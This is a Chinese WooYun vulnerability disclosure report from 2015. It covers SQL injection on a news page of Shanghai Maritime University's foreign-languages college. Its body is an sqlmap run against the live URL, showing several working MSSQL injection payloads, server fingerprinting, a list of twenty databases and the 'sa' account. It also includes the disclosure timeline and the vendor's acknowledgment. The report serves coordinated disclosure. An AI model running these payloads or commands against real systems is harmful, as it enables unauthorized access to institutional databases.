当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120769

漏洞标题:上海海事大学外国语学院SA权限

相关厂商:上海海事大学外国语学院

漏洞作者: 龍 、

提交时间:2015-06-16 15:01

修复时间:2015-07-31 15:54

公开时间:2015-07-31 15:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-16: 细节已通知厂商并且等待厂商处理中
2015-06-16: 厂商已经确认,细节仅向厂商公开
2015-06-26: 细节向核心白帽子及相关领域专家公开
2015-07-06: 细节向普通白帽子公开
2015-07-16: 细节向实习白帽子公开
2015-07-31: 细节向公众公开

简要描述:

RT

详细说明:

D:\sqlmap>sqlmap.py -u http://cfl.shmtu.edu.cn/tzgg_show.aspx?id=313 AND 4473=44
73 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 02:28:40
[02:28:40] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:28:40] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=313 AND 4473=4473
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=313 AND 5264=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(105)+C
HAR(98)+CHAR(113)+(SELECT (CASE WHEN (5264=5264) THEN CHAR(49) ELSE CHAR(48) END
))+CHAR(113)+CHAR(111)+CHAR(110)+CHAR(115)+CHAR(113)))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=313; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=313 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(122)+CHAR(105)+CHAR(98)+CHAR(113)+(SELECT
(CASE WHEN (2894=2894) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(111)+CH
AR(110)+CHAR(115)+CHAR(113))
---
[02:28:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005


数据库列表

available databases [20]:
[*] Admission
[*] ArtSciences
[*] cct
[*] Contest
[*] dwhy
[*] ForeignLanguageCollege
[*] House
[*] master
[*] model
[*] msdb
[*] PBAC
[*] SMU_JWC
[*] SMUITC
[*] SMULanguageWeb
[*] SMUXIAOBAO
[*] SubCICE
[*] survey
[*] tempdb
[*] wgy
[*] xkhd


漏洞证明:

database management system users [1]:
[*] sa

修复方案:

版权声明:转载请注明来源 龍 、@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-06-16 15:54

厂商回复:

通知用户处理中

最新状态:

暂无


漏洞评价:

评论